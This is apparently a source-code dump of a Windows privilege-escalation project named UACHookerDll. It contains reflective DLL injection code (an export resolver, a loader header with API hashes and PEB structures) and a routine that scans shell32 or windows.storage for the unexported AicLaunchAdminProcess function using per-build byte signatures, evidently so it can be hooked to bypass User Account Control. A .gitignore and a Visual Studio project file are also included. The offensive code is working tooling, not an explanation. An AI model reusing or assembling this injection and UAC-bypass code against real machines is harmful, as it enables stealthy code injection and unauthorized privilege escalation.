using the native kernel32!GetProcAddress which 31 | // wont be able to resolve exported addresses in reflectivly loaded librarys. 32 | FARPROC WINAPI GetProcAddressR( HANDLE hModule, LPCSTR lpProcName ) 33 | { 34 | UINT_PTR uiLibraryAddress = 0; 35 | FARPROC fpResult = NULL; 36 | 37 | if( hModule == NULL ) 38 | return NULL; 39 | 40 | // a module handle is really its base address 41 | uiLibraryAddress = (UINT_PTR)hModule; 42 | 43 | __try 44 | { 45 | UINT_PTR uiAddressArray = 0; 46 | UINT_PTR uiNameArray = 0; 47 | UINT_PTR uiNameOrdinals = 0; 48 | PIMAGE_NT_HEADERS pNtHeaders = NULL; 49 | PIMAGE_DATA_DIRECTORY pDataDirectory = NULL; 50 | PIMAGE_EXPORT_DIRECTORY pExportDirectory = NULL; 51 | 52 | // get the VA of the modules NT Header 53 | pNtHeaders = (PIMAGE_NT_HEADERS)(uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew); 54 | 55 | pDataDirectory = (PIMAGE_DATA_DIRECTORY)&pNtHeaders->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ]; 56 | 57 | // get the VA of the export directory 58 | pExportDirectory = (PIMAGE_EXPORT_DIRECTORY)( uiLibraryAddress + pDataDirectory->VirtualAddress ); 59 | 60 | // get the VA for the array of addresses 61 | uiAddressArray = ( uiLibraryAddress + pExportDirectory->AddressOfFunctions ); 62 | 63 | // get the VA for the array of name pointers 64 | uiNameArray = ( uiLibraryAddress + pExportDirectory->AddressOfNames ); 65 | 66 | // get the VA for the array of name ordinals 67 | uiNameOrdinals = ( uiLibraryAddress + pExportDirectory->AddressOfNameOrdinals ); 68 | 69 | // test if we are importing by name or by ordinal... 70 | if( ((DWORD)lpProcName & 0xFFFF0000 ) == 0x00000000 ) 71 | { 72 | // import by ordinal... 73 | 74 | // use the import ordinal (- export ordinal base) as an index into the array of addresses 75 | uiAddressArray += ( ( IMAGE_ORDINAL( (DWORD)lpProcName ) - pExportDirectory->Base ) * sizeof(DWORD) ); 76 | 77 | // resolve the address for this imported function 78 | fpResult = (FARPROC)( uiLibraryAddress + DEREF_32(uiAddressArray) ); 79 | } 80 | else 81 | { 82 | // import by name... 83 | DWORD dwCounter = pExportDirectory->NumberOfNames; 84 | while( dwCounter-- ) 85 | { 86 | char * cpExportedFunctionName = (char *)(uiLibraryAddress + DEREF_32( uiNameArray )); 87 | 88 | // test if we have a match... 89 | if( strcmp( cpExportedFunctionName, lpProcName ) == 0 ) 90 | { 91 | // use the functions name ordinal as an index into the array of name pointers 92 | uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) ); 93 | 94 | // calculate the virtual address for the function 95 | fpResult = (FARPROC)(uiLibraryAddress + DEREF_32( uiAddressArray )); 96 | 97 | // finish... 98 | break; 99 | } 100 | 101 | // get the next exported function name 102 | uiNameArray += sizeof(DWORD); 103 | 104 | // get the next exported function name ordinal 105 | uiNameOrdinals += sizeof(WORD); 106 | } 107 | } 108 | } 109 | __except( EXCEPTION_EXECUTE_HANDLER ) 110 | { 111 | fpResult = NULL; 112 | } 113 | 114 | return fpResult; 115 | } 116 | //===============================================================================================// -------------------------------------------------------------------------------- /UACHookerDll/FindLaunchAdminFunc.cpp: -------------------------------------------------------------------------------- 1 | /******************************************************************************* 2 | * 3 | * (C) COPYRIGHT AUTHORS, 2017 - 2019 4 | * 5 | * TITLE: AIC.C 6 | * 7 | * VERSION: 3.20 8 | * 9 | * DATE: 22 Oct 2019 10 | * 11 | * THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF 12 | * ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED 13 | * TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A 14 | * PARTICULAR PURPOSE. 15 | * 16 | *******************************************************************************/ 17 | #include "FindLaunchAdminFunc.h" 18 | #include 19 | #include 20 | #include 21 | #include 22 | #define SHELL32_DLL L"shell32.dll" 23 | #define WINDOWS_STORAGE_DLL L"windows.storage.dll" 24 | HINSTANCE hNtdll = GetModuleHandleA("ntdll.dll"); 25 | 26 | typedef PIMAGE_NT_HEADERS(NTAPI* RTLIMAGENTHEADER)(PVOID); 27 | RTLIMAGENTHEADER RtlImageNtHeader = (RTLIMAGENTHEADER)GetProcAddress(hNtdll, "RtlImageNtHeader"); 28 | 29 | typedef NTSTATUS(NTAPI* RTLGETVERSION)(PRTL_OSVERSIONINFOW); 30 | RTLGETVERSION RtlGetVersion = (RTLGETVERSION)GetProcAddress(hNtdll, "RtlGetVersion"); 31 | 32 | //RTLIMAGENTHEADER RtlImageNtHeader = (RTLIMAGENTHEADER)GetProcAddress(hNtdll, "RtlImageNtHeader"); 33 | // 34 | // AicLaunchAdminProcess prologue signature. 35 | // 36 | 37 | unsigned char LaunchAdminProcessSignature760x[] = { 38 | 0xFF, 0xF3, 0x56, 0x57, 0x41, 0x54, 0x41, 0x55, 0x41, 0x56, 0x41, 0x57, 0x48, 0x81, 39 | 0xEC, 0x30, 0x04, 0x00, 0x00 40 | }; 41 | 42 | unsigned char LaunchAdminProcessSignature9200[] = { 43 | 0x44, 0x89, 0x44, 0x24, 0x18, 0x53, 0x56, 0x57, 0x41, 0x54, 0x41, 0x55, 0x41, 0x56, 44 | 0x41, 0x57, 0x48, 0x81, 0xEC, 0xF0, 0x03, 0x00, 0x00 45 | }; 46 | 47 | unsigned char LaunchAdminProcessSignature9600[] = { 48 | 0x44, 0x89, 0x4C, 0x24, 0x20, 0x44, 0x89, 0x44, 0x24, 0x18, 0x53, 0x56, 0x57, 0x41, 49 | 0x54, 0x41, 0x55, 0x41, 0x56, 0x41, 0x57, 0x48, 0x81, 0xEC, 0x00, 0x04, 0x00, 0x00 50 | }; 51 | 52 | unsigned char LaunchAdminProcessSignature10240_10586[] = { 53 | 0x40, 0x53, 0x56, 0x57, 0x41, 0x54, 0x41, 0x55, 0x41, 0x56, 0x41, 0x57, 0x48, 0x81, 54 | 0xEC, 0x30, 0x04, 0x00, 0x00 55 | }; 56 | 57 | unsigned char LaunchAdminProcessSignature14393[] = { 58 | 0x40, 0x53, 0x56, 0x57, 0x41, 0x54, 0x41, 0x55, 0x41, 0x56, 0x41, 0x57, 0x48, 0x81, 59 | 0xEC, 0x20, 0x04, 0x00, 0x00 60 | }; 61 | 62 | unsigned char LaunchAdminProcessSignature_15063_18362[] = { 63 | 0x40, 0x53, 0x56, 0x57, 0x41, 0x54, 0x41, 0x55, 0x41, 0x56, 0x41, 0x57, 0x48, 0x81, 64 | 0xEC, 0x20, 0x04, 0x00, 0x00 65 | }; 66 | //40 53 56 57 41 54 41 55 41 56 41 57 48 81 EC 30 04 00 00 67 | unsigned char LaunchAdminProcessSignature_18363_xxxxx[] = { 68 | 0x40, 0x53, 0x56, 0x57, 0x41, 0x54, 0x41, 0x55, 0x41, 0x56, 0x41, 0x57, 0x48, 0x81, 69 | 0xEC, 0x30, 0x04, 0x00, 0x00 70 | }; 71 | 72 | 73 | /* 74 | * supFindPattern 75 | * 76 | * Purpose: 77 | * 78 | * Lookup pattern in buffer. 79 | * 80 | */ 81 | PVOID supFindPattern( 82 | CONST PBYTE Buffer, 83 | SIZE_T BufferSize, 84 | CONST PBYTE Pattern, 85 | SIZE_T PatternSize 86 | ) 87 | { 88 | PBYTE p = Buffer; 89 | 90 | if (PatternSize == 0) 91 | return NULL; 92 | if (BufferSize < PatternSize) 93 | return NULL; 94 | BufferSize -= PatternSize; 95 | 96 | do { 97 | p = (PBYTE)memchr(p, Pattern[0], BufferSize - (p - Buffer)); 98 | if (p == NULL) 99 | break; 100 | 101 | if (memcmp(p, Pattern, PatternSize) == 0) 102 | return p; 103 | 104 | p++; 105 | } while (BufferSize - (p - Buffer) > 0); //-V555 106 | 107 | return NULL; 108 | } 109 | 110 | /* 111 | * AicFindLaunchAdminProcess 112 | * 113 | * Purpose: 114 | * 115 | * Locate unexported AppInfo routine in memory by signature. 116 | * 117 | */ 118 | ULONG_PTR AicFindLaunchAdminProcess( 119 | _Out_ PNTSTATUS StatusCode) 120 | { 121 | ULONG_PTR Address = 0; 122 | PBYTE Pattern = NULL, ScanBase = NULL; 123 | DWORD PatternSize = 0, ScanSize = 0; 124 | IMAGE_NT_HEADERS* NtHeaders; 125 | LPWSTR ScanModule = NULL; 126 | RTL_OSVERSIONINFOW g_ctx; 127 | RtlSecureZeroMemory(&g_ctx, sizeof(g_ctx)); 128 | g_ctx.dwOSVersionInfoSize = sizeof(g_ctx); 129 | RtlGetVersion((PRTL_OSVERSIONINFOW)&g_ctx); 130 | DWORD dwBuildNumber = g_ctx.dwBuildNumber; 131 | if (g_ctx.dwBuildNumber < 10240) 132 | ScanModule = SHELL32_DLL; 133 | else 134 | ScanModule = WINDOWS_STORAGE_DLL; 135 | 136 | switch (g_ctx.dwBuildNumber) { 137 | 138 | case 7600: 139 | case 7601: 140 | Pattern = LaunchAdminProcessSignature760x; 141 | PatternSize = sizeof(LaunchAdminProcessSignature760x); 142 | break; 143 | case 9200: 144 | Pattern = LaunchAdminProcessSignature9200; 145 | PatternSize = sizeof(LaunchAdminProcessSignature9200); 146 | break; 147 | case 9600: 148 | Pattern = LaunchAdminProcessSignature9600; 149 | PatternSize = sizeof(LaunchAdminProcessSignature9600); 150 | break; 151 | case 10240: 152 | case 10586: 153 | Pattern = LaunchAdminProcessSignature10240_10586; 154 | PatternSize = sizeof(LaunchAdminProcessSignature10240_10586); 155 | break; 156 | case 14393: 157 | Pattern = LaunchAdminProcessSignature14393; 158 | PatternSize = sizeof(LaunchAdminProcessSignature14393); 159 | break; 160 | case 15063: 161 | case 16299: 162 | case 17134: 163 | case 17763: 164 | case 18362: 165 | Pattern = LaunchAdminProcessSignature_15063_18362; 166 | PatternSize = sizeof(LaunchAdminProcessSignature_15063_18362); 167 | break; 168 | case 18363: 169 | default: 170 | Pattern = LaunchAdminProcessSignature_18363_xxxxx; 171 | PatternSize = sizeof(LaunchAdminProcessSignature_18363_xxxxx); 172 | break; 173 | } 174 | 175 | ScanBase = (PBYTE)GetModuleHandleW(ScanModule); 176 | if (ScanBase == NULL) { 177 | ScanBase = (PBYTE)LoadLibraryExW(ScanModule, NULL, 0); //is in \KnownDlls 178 | } 179 | 180 | if (ScanBase == NULL) { 181 | *StatusCode = STATUS_INTERNAL_ERROR; 182 | return 0; 183 | } 184 | 185 | NtHeaders = RtlImageNtHeader(ScanBase); 186 | if (NtHeaders->OptionalHeader.SizeOfImage <= PatternSize) { 187 | *StatusCode = STATUS_INTERNAL_ERROR; 188 | return 0; 189 | } 190 | 191 | ScanSize = NtHeaders->OptionalHeader.SizeOfImage - PatternSize; 192 | Address = (ULONG_PTR)supFindPattern(ScanBase, (SIZE_T)ScanSize, Pattern, (SIZE_T)PatternSize); 193 | if (Address == 0) { 194 | *StatusCode = STATUS_PROCEDURE_NOT_FOUND; 195 | return 0; 196 | } 197 | 198 | *StatusCode = STATUS_SUCCESS; 199 | 200 | return Address; 201 | } -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | ## Ignore Visual Studio temporary files, build results, and 2 | ## files generated by popular Visual Studio add-ons. 3 | ## 4 | ## Get latest from https://github.com/github/gitignore/blob/master/VisualStudio.gitignore 5 | 6 | # User-specific files 7 | *.rsuser 8 | *.suo 9 | *.user 10 | *.userosscache 11 | *.sln.docstates 12 | 13 | # User-specific files (MonoDevelop/Xamarin Studio) 14 | *.userprefs 15 | 16 | # Mono auto generated files 17 | mono_crash.* 18 | 19 | # Build results 20 | [Dd]ebug/ 21 | [Dd]ebugPublic/ 22 | [Rr]elease/ 23 | [Rr]eleases/ 24 | x64/ 25 | x86/ 26 | [Ww][Ii][Nn]32/ 27 | [Aa][Rr][Mm]/ 28 | [Aa][Rr][Mm]64/ 29 | bld/ 30 | [Bb]in/ 31 | [Oo]bj/ 32 | [Ll]og/ 33 | [Ll]ogs/ 34 | 35 | # Visual Studio 2015/2017 cache/options directory 36 | .vs/ 37 | # Uncomment if you have tasks that create the project's static files in wwwroot 38 | #wwwroot/ 39 | 40 | # Visual Studio 2017 auto generated files 41 | Generated\ Files/ 42 | 43 | # MSTest test Results 44 | [Tt]est[Rr]esult*/ 45 | [Bb]uild[Ll]og.* 46 | 47 | # NUnit 48 | *.VisualState.xml 49 | TestResult.xml 50 | nunit-*.xml 51 | 52 | # Build Results of an ATL Project 53 | [Dd]ebugPS/ 54 | [Rr]eleasePS/ 55 | dlldata.c 56 | 57 | # Benchmark Results 58 | BenchmarkDotNet.Artifacts/ 59 | 60 | # .NET Core 61 | project.lock.json 62 | project.fragment.lock.json 63 | artifacts/ 64 | 65 | # ASP.NET Scaffolding 66 | ScaffoldingReadMe.txt 67 | 68 | # StyleCop 69 | StyleCopReport.xml 70 | 71 | # Files built by Visual Studio 72 | *_i.c 73 | *_p.c 74 | *_h.h 75 | *.ilk 76 | *.meta 77 | *.obj 78 | *.iobj 79 | *.pch 80 | *.pdb 81 | *.ipdb 82 | *.pgc 83 | *.pgd 84 | *.rsp 85 | *.sbr 86 | *.tlb 87 | *.tli 88 | *.tlh 89 | *.tmp 90 | *.tmp_proj 91 | *_wpftmp.csproj 92 | *.log 93 | *.vspscc 94 | *.vssscc 95 | .builds 96 | *.pidb 97 | *.svclog 98 | *.scc 99 | 100 | # Chutzpah Test files 101 | _Chutzpah* 102 | 103 | # Visual C++ cache files 104 | ipch/ 105 | *.aps 106 | *.ncb 107 | *.opendb 108 | *.opensdf 109 | *.sdf 110 | *.cachefile 111 | *.VC.db 112 | *.VC.VC.opendb 113 | 114 | # Visual Studio profiler 115 | *.psess 116 | *.vsp 117 | *.vspx 118 | *.sap 119 | 120 | # Visual Studio Trace Files 121 | *.e2e 122 | 123 | # TFS 2012 Local Workspace 124 | $tf/ 125 | 126 | # Guidance Automation Toolkit 127 | *.gpState 128 | 129 | # ReSharper is a .NET coding add-in 130 | _ReSharper*/ 131 | *.[Rr]e[Ss]harper 132 | *.DotSettings.user 133 | 134 | # TeamCity is a build add-in 135 | _TeamCity* 136 | 137 | # DotCover is a Code Coverage Tool 138 | *.dotCover 139 | 140 | # AxoCover is a Code Coverage Tool 141 | .axoCover/* 142 | !.axoCover/settings.json 143 | 144 | # Coverlet is a free, cross platform Code Coverage Tool 145 | coverage*.json 146 | coverage*.xml 147 | coverage*.info 148 | 149 | # Visual Studio code coverage results 150 | *.coverage 151 | *.coveragexml 152 | 153 | # NCrunch 154 | _NCrunch_* 155 | .*crunch*.local.xml 156 | nCrunchTemp_* 157 | 158 | # MightyMoose 159 | *.mm.* 160 | AutoTest.Net/ 161 | 162 | # Web workbench (sass) 163 | .sass-cache/ 164 | 165 | # Installshield output folder 166 | [Ee]xpress/ 167 | 168 | # DocProject is a documentation generator add-in 169 | DocProject/buildhelp/ 170 | DocProject/Help/*.HxT 171 | DocProject/Help/*.HxC 172 | DocProject/Help/*.hhc 173 | DocProject/Help/*.hhk 174 | DocProject/Help/*.hhp 175 | DocProject/Help/Html2 176 | DocProject/Help/html 177 | 178 | # Click-Once directory 179 | publish/ 180 | 181 | # Publish Web Output 182 | *.[Pp]ublish.xml 183 | *.azurePubxml 184 | # Note: Comment the next line if you want to checkin your web deploy settings, 185 | # but database connection strings (with potential passwords) will be unencrypted 186 | *.pubxml 187 | *.publishproj 188 | 189 | # Microsoft Azure Web App publish settings. Comment the next line if you want to 190 | # checkin your Azure Web App publish settings, but sensitive information contained 191 | # in these scripts will be unencrypted 192 | PublishScripts/ 193 | 194 | # NuGet Packages 195 | *.nupkg 196 | # NuGet Symbol Packages 197 | *.snupkg 198 | # The packages folder can be ignored because of Package Restore 199 | **/[Pp]ackages/* 200 | # except build/, which is used as an MSBuild target. 201 | !**/[Pp]ackages/build/ 202 | # Uncomment if necessary however generally it will be regenerated when needed 203 | #!**/[Pp]ackages/repositories.config 204 | # NuGet v3's project.json files produces more ignorable files 205 | *.nuget.props 206 | *.nuget.targets 207 | 208 | # Microsoft Azure Build Output 209 | csx/ 210 | *.build.csdef 211 | 212 | # Microsoft Azure Emulator 213 | ecf/ 214 | rcf/ 215 | 216 | # Windows Store app package directories and files 217 | AppPackages/ 218 | BundleArtifacts/ 219 | Package.StoreAssociation.xml 220 | _pkginfo.txt 221 | *.appx 222 | *.appxbundle 223 | *.appxupload 224 | 225 | # Visual Studio cache files 226 | # files ending in .cache can be ignored 227 | *.[Cc]ache 228 | # but keep track of directories ending in .cache 229 | !?*.[Cc]ache/ 230 | 231 | # Others 232 | ClientBin/ 233 | ~$* 234 | *~ 235 | *.dbmdl 236 | *.dbproj.schemaview 237 | *.jfm 238 | *.pfx 239 | *.publishsettings 240 | orleans.codegen.cs 241 | 242 | # Including strong name files can present a security risk 243 | # (https://github.com/github/gitignore/pull/2483#issue-259490424) 244 | #*.snk 245 | 246 | # Since there are multiple workflows, uncomment next line to ignore bower_components 247 | # (https://github.com/github/gitignore/pull/1529#issuecomment-104372622) 248 | #bower_components/ 249 | 250 | # RIA/Silverlight projects 251 | Generated_Code/ 252 | 253 | # Backup & report files from converting an old project file 254 | # to a newer Visual Studio version. Backup files are not needed, 255 | # because we have git ;-) 256 | _UpgradeReport_Files/ 257 | Backup*/ 258 | UpgradeLog*.XML 259 | UpgradeLog*.htm 260 | ServiceFabricBackup/ 261 | *.rptproj.bak 262 | 263 | # SQL Server files 264 | *.mdf 265 | *.ldf 266 | *.ndf 267 | 268 | # Business Intelligence projects 269 | *.rdl.data 270 | *.bim.layout 271 | *.bim_*.settings 272 | *.rptproj.rsuser 273 | *- [Bb]ackup.rdl 274 | *- [Bb]ackup ([0-9]).rdl 275 | *- [Bb]ackup ([0-9][0-9]).rdl 276 | 277 | # Microsoft Fakes 278 | FakesAssemblies/ 279 | 280 | # GhostDoc plugin setting file 281 | *.GhostDoc.xml 282 | 283 | # Node.js Tools for Visual Studio 284 | .ntvs_analysis.dat 285 | node_modules/ 286 | 287 | # Visual Studio 6 build log 288 | *.plg 289 | 290 | # Visual Studio 6 workspace options file 291 | *.opt 292 | 293 | # Visual Studio 6 auto-generated workspace file (contains which files were open etc.) 294 | *.vbw 295 | 296 | # Visual Studio LightSwitch build output 297 | **/*.HTMLClient/GeneratedArtifacts 298 | **/*.DesktopClient/GeneratedArtifacts 299 | **/*.DesktopClient/ModelManifest.xml 300 | **/*.Server/GeneratedArtifacts 301 | **/*.Server/ModelManifest.xml 302 | _Pvt_Extensions 303 | 304 | # Paket dependency manager 305 | .paket/paket.exe 306 | paket-files/ 307 | 308 | # FAKE - F# Make 309 | .fake/ 310 | 311 | # CodeRush personal settings 312 | .cr/personal 313 | 314 | # Python Tools for Visual Studio (PTVS) 315 | __pycache__/ 316 | *.pyc 317 | 318 | # Cake - Uncomment if you are using it 319 | # tools/** 320 | # !tools/packages.config 321 | 322 | # Tabs Studio 323 | *.tss 324 | 325 | # Telerik's JustMock configuration file 326 | *.jmconfig 327 | 328 | # BizTalk build output 329 | *.btp.cs 330 | *.btm.cs 331 | *.odx.cs 332 | *.xsd.cs 333 | 334 | # OpenCover UI analysis results 335 | OpenCover/ 336 | 337 | # Azure Stream Analytics local run output 338 | ASALocalRun/ 339 | 340 | # MSBuild Binary and Structured Log 341 | *.binlog 342 | 343 | # NVidia Nsight GPU debugger configuration file 344 | *.nvuser 345 | 346 | # MFractors (Xamarin productivity tool) working folder 347 | .mfractor/ 348 | 349 | # Local History for Visual Studio 350 | .localhistory/ 351 | 352 | # BeatPulse healthcheck temp database 353 | healthchecksdb 354 | 355 | # Backup folder for Package Reference Convert tool in Visual Studio 2017 356 | MigrationBackup/ 357 | 358 | # Ionide (cross platform F# VS Code tools) working folder 359 | .ionide/ 360 | 361 | # Fody - auto-generated XML schema 362 | FodyWeavers.xsd -------------------------------------------------------------------------------- /UACHookerDll/ReflectiveLoader.h: -------------------------------------------------------------------------------- 1 | // Copyright (c) 2015, Dan Staples 2 | 3 | //===============================================================================================// 4 | // Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com) 5 | // All rights reserved. 6 | // 7 | // Redistribution and use in source and binary forms, with or without modification, are permitted 8 | // provided that the following conditions are met: 9 | // 10 | // * Redistributions of source code must retain the above copyright notice, this list of 11 | // conditions and the following disclaimer. 12 | // 13 | // * Redistributions in binary form must reproduce the above copyright notice, this list of 14 | // conditions and the following disclaimer in the documentation and/or other materials provided 15 | // with the distribution. 16 | // 17 | // * Neither the name of Harmony Security nor the names of its contributors may be used to 18 | // endorse or promote products derived from this software without specific prior written permission. 19 | // 20 | // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR 21 | // IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND 22 | // FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR 23 | // CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR 24 | // CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 25 | // SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 26 | // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR 27 | // OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE 28 | // POSSIBILITY OF SUCH DAMAGE. 29 | //===============================================================================================// 30 | #ifndef _REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H 31 | #define _REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H 32 | //===============================================================================================// 33 | #define WIN32_LEAN_AND_MEAN 34 | #include 35 | #include 36 | #include 37 | 38 | #include "ReflectiveDLLInjection.h" 39 | 40 | typedef HMODULE (WINAPI * LOADLIBRARYA)( LPCSTR ); 41 | typedef FARPROC (WINAPI * GETPROCADDRESS)( HMODULE, LPCSTR ); 42 | typedef LPVOID (WINAPI * VIRTUALALLOC)( LPVOID, SIZE_T, DWORD, DWORD ); 43 | typedef VOID (WINAPI * EXITTHREAD)( DWORD ); 44 | typedef DWORD (NTAPI * NTFLUSHINSTRUCTIONCACHE)( HANDLE, PVOID, ULONG ); 45 | 46 | /** NOTE: module hashes are computed using all-caps unicode strings */ 47 | #define KERNEL32DLL_HASH 0x6A4ABC5B 48 | #define NTDLLDLL_HASH 0x3CFA685D 49 | 50 | #define LOADLIBRARYA_HASH 0xEC0E4E8E 51 | #define GETPROCADDRESS_HASH 0x7C0DFCAA 52 | #define VIRTUALALLOC_HASH 0x91AFCA54 53 | #define EXITTHREAD_HSAH 0x60E0CEEF 54 | #define NTFLUSHINSTRUCTIONCACHE_HASH 0x534C0AB8 55 | #define RTLEXITUSERTHREAD_HASH 0xFF7F061A // Vista+ 56 | 57 | #define IMAGE_REL_BASED_ARM_MOV32A 5 58 | #define IMAGE_REL_BASED_ARM_MOV32T 7 59 | 60 | #define ARM_MOV_MASK (DWORD)(0xFBF08000) 61 | #define ARM_MOV_MASK2 (DWORD)(0xFBF08F00) 62 | #define ARM_MOVW 0xF2400000 63 | #define ARM_MOVT 0xF2C00000 64 | 65 | #define HASH_KEY 13 66 | //===============================================================================================// 67 | #pragma intrinsic( _rotr ) 68 | 69 | __forceinline DWORD ror( DWORD d ) 70 | { 71 | return _rotr( d, HASH_KEY ); 72 | } 73 | 74 | __forceinline DWORD hash( char * c ) 75 | { 76 | register DWORD h = 0; 77 | do 78 | { 79 | h = ror( h ); 80 | h += *c; 81 | } while( *++c ); 82 | 83 | return h; 84 | } 85 | //===============================================================================================// 86 | typedef struct _UNICODE_STR 87 | { 88 | USHORT Length; 89 | USHORT MaximumLength; 90 | PWSTR pBuffer; 91 | } UNICODE_STR, *PUNICODE_STR; 92 | 93 | // WinDbg> dt -v ntdll!_LDR_DATA_TABLE_ENTRY 94 | //__declspec( align(8) ) 95 | typedef struct _LDR_DATA_TABLE_ENTRY 96 | { 97 | //LIST_ENTRY InLoadOrderLinks; // As we search from PPEB_LDR_DATA->InMemoryOrderModuleList we dont use the first entry. 98 | LIST_ENTRY InMemoryOrderModuleList; 99 | LIST_ENTRY InInitializationOrderModuleList; 100 | PVOID DllBase; 101 | PVOID EntryPoint; 102 | ULONG SizeOfImage; 103 | UNICODE_STR FullDllName; 104 | UNICODE_STR BaseDllName; 105 | ULONG Flags; 106 | SHORT LoadCount; 107 | SHORT TlsIndex; 108 | LIST_ENTRY HashTableEntry; 109 | ULONG TimeDateStamp; 110 | } LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY; 111 | 112 | // WinDbg> dt -v ntdll!_PEB_LDR_DATA 113 | typedef struct _PEB_LDR_DATA //, 7 elements, 0x28 bytes 114 | { 115 | DWORD dwLength; 116 | DWORD dwInitialized; 117 | LPVOID lpSsHandle; 118 | LIST_ENTRY InLoadOrderModuleList; 119 | LIST_ENTRY InMemoryOrderModuleList; 120 | LIST_ENTRY InInitializationOrderModuleList; 121 | LPVOID lpEntryInProgress; 122 | } PEB_LDR_DATA, * PPEB_LDR_DATA; 123 | 124 | // WinDbg> dt -v ntdll!_PEB_FREE_BLOCK 125 | typedef struct _PEB_FREE_BLOCK // 2 elements, 0x8 bytes 126 | { 127 | struct _PEB_FREE_BLOCK * pNext; 128 | DWORD dwSize; 129 | } PEB_FREE_BLOCK, * PPEB_FREE_BLOCK; 130 | 131 | // struct _PEB is defined in Winternl.h but it is incomplete 132 | // WinDbg> dt -v ntdll!_PEB 133 | typedef struct __PEB // 65 elements, 0x210 bytes 134 | { 135 | BYTE bInheritedAddressSpace; 136 | BYTE bReadImageFileExecOptions; 137 | BYTE bBeingDebugged; 138 | BYTE bSpareBool; 139 | LPVOID lpMutant; 140 | LPVOID lpImageBaseAddress; 141 | PPEB_LDR_DATA pLdr; 142 | LPVOID lpProcessParameters; 143 | LPVOID lpSubSystemData; 144 | LPVOID lpProcessHeap; 145 | PRTL_CRITICAL_SECTION pFastPebLock; 146 | LPVOID lpFastPebLockRoutine; 147 | LPVOID lpFastPebUnlockRoutine; 148 | DWORD dwEnvironmentUpdateCount; 149 | LPVOID lpKernelCallbackTable; 150 | DWORD dwSystemReserved; 151 | DWORD dwAtlThunkSListPtr32; 152 | PPEB_FREE_BLOCK pFreeList; 153 | DWORD dwTlsExpansionCounter; 154 | LPVOID lpTlsBitmap; 155 | DWORD dwTlsBitmapBits[2]; 156 | LPVOID lpReadOnlySharedMemoryBase; 157 | LPVOID lpReadOnlySharedMemoryHeap; 158 | LPVOID lpReadOnlyStaticServerData; 159 | LPVOID lpAnsiCodePageData; 160 | LPVOID lpOemCodePageData; 161 | LPVOID lpUnicodeCaseTableData; 162 | DWORD dwNumberOfProcessors; 163 | DWORD dwNtGlobalFlag; 164 | LARGE_INTEGER liCriticalSectionTimeout; 165 | DWORD dwHeapSegmentReserve; 166 | DWORD dwHeapSegmentCommit; 167 | DWORD dwHeapDeCommitTotalFreeThreshold; 168 | DWORD dwHeapDeCommitFreeBlockThreshold; 169 | DWORD dwNumberOfHeaps; 170 | DWORD dwMaximumNumberOfHeaps; 171 | LPVOID lpProcessHeaps; 172 | LPVOID lpGdiSharedHandleTable; 173 | LPVOID lpProcessStarterHelper; 174 | DWORD dwGdiDCAttributeList; 175 | LPVOID lpLoaderLock; 176 | DWORD dwOSMajorVersion; 177 | DWORD dwOSMinorVersion; 178 | WORD wOSBuildNumber; 179 | WORD wOSCSDVersion; 180 | DWORD dwOSPlatformId; 181 | DWORD dwImageSubsystem; 182 | DWORD dwImageSubsystemMajorVersion; 183 | DWORD dwImageSubsystemMinorVersion; 184 | DWORD dwImageProcessAffinityMask; 185 | DWORD dwGdiHandleBuffer[34]; 186 | LPVOID lpPostProcessInitRoutine; 187 | LPVOID lpTlsExpansionBitmap; 188 | DWORD dwTlsExpansionBitmapBits[32]; 189 | DWORD dwSessionId; 190 | ULARGE_INTEGER liAppCompatFlags; 191 | ULARGE_INTEGER liAppCompatFlagsUser; 192 | LPVOID lppShimData; 193 | LPVOID lpAppCompatInfo; 194 | UNICODE_STR usCSDVersion; 195 | LPVOID lpActivationContextData; 196 | LPVOID lpProcessAssemblyStorageMap; 197 | LPVOID lpSystemDefaultActivationContextData; 198 | LPVOID lpSystemAssemblyStorageMap; 199 | DWORD dwMinimumStackCommit; 200 | } _PEB, * _PPEB; 201 | 202 | typedef struct 203 | { 204 | WORD offset:12; 205 | WORD type:4; 206 | } IMAGE_RELOC, *PIMAGE_RELOC; 207 | //===============================================================================================// 208 | #endif 209 | //===============================================================================================// 210 | -------------------------------------------------------------------------------- /inject/inject.vcproj: -------------------------------------------------------------------------------- 1 | 2 | 11 | 12 | 15 | 18 | 19 | 20 | 21 | 22 | 29 | 32 | 35 | 38 | 41 | 44 | 55 | 58 | 61 | 64 | 71 | 74 | 77 | 80 | 83 | 86 | 89 | 92 | 93 | 100 | 103 | 106 | 109 | 112 | 116 | 127 | 130 | 133 | 136 | 143 | 146 | 149 | 152 | 155 | 158 | 161 | 164 | 165 | 173 | 176 | 179 | 182 | 185 | 188 | 199 | 202 | 205 | 208 | 217 | 220 | 223 | 226 | 229 | 232 | 235 | 239 | 240 | 248 | 251 | 254 | 257 | 260 | 264 | 275 | 278 | 281 | 284 | 294 | 297 | 300 | 303 | 306 | 309 | 312 | 316 | 317 | 318 | 319 | 320 | 321 | 326 | 329 | 330 | 333 | 334 | 337 | 338 | 